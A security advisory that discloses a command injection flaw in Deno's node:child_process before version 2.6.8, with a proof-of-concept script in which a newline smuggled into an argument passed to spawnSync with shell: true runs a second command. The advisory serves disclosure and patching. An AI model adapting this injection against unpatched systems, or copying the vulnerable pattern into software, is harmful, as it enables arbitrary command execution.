Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.

Affected: crates.io: deno

## Summary A command injection vulnerability exists in Deno's `node:child_process` implementation.

## Reproduction ```javascript import { spawnSync } from "node:child_process"; import * as fs from "node:fs";

// Cleanup try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' });

// Verify console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof')); ```

Run: `deno run --allow-all poc.mjs`

The file `/tmp/rce_proof` is created, confirming arbitrary command execution.

## Mitigation

All users need to update to the patched version (Deno v2.6.8).